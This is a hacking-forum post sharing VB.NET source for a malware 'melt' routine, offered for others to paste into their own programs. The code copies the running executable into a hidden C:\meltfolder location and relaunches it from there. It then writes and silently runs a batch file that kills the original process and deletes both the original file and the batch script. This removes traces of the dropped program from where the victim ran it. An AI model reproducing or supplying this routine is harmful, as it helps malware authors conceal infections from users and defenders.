[VB.NET] Custom Melt Function ( No Admin Rights Need ) [SOURCE]

[CensoreD]

My Custom Melt Function

 

I Hope you will like it !

 

Imports:

Imports System.IO

 

Add This code to your application:

    Public Sub CustomMeltFunctionByHli4S()

'  Custom Melt Function  
'  Credits: Hli4S  
'  Email: hlias-0210@hotmail.com
'  www.hli4s.net  
'  If you use it,
'  Please Add Credits

  Dim meltfile As String = "meltfile.exe"
  Dim folder As String = "meltfolder"

  If My.Computer.FileSystem.FileExists("C:\" & folder & "\" & meltfile) Then
    'Do Nothing
  Else
    If My.Computer.FileSystem.DirectoryExists("C:\" & folder) Then
    'Do Nothing
    Else
    My.Computer.FileSystem.CreateDirectory("C:\" & folder)
    End If
    My.Computer.Network.DownloadFile(CurDir() & "\" & Application.ProductName & ".exe", "C:\" & folder & "\" & meltfile)
    System.Diagnostics.Process.Start("C:\" & folder & "\" & meltfile)
    Dim Meltwriter As New StreamWriter(Application.StartupPath & "\melt.bat")
    Meltwriter.WriteLine("@echo off")
    Meltwriter.WriteLine("TASKKILL /F /T /IM " & Application.ProductName)
    Meltwriter.WriteLine("del " & Replace(Application.ExecutablePath, Application.StartupPath & "\", ""))
    Meltwriter.WriteLine("del melt.bat")
    Meltwriter.Flush()
    Meltwriter.Close()
    Shell(Application.StartupPath & "\melt.bat", AppWinStyle.Hide)
    Shell("melt.bat")
    End
  End If
    End Sub

You call the Function with this code:

CustomMeltFunctionByHli4S()

If you LIKE IT :

Comment my Topic ! :D

 

Credits Goes to me

So if you use it Please Don't forget to add credits !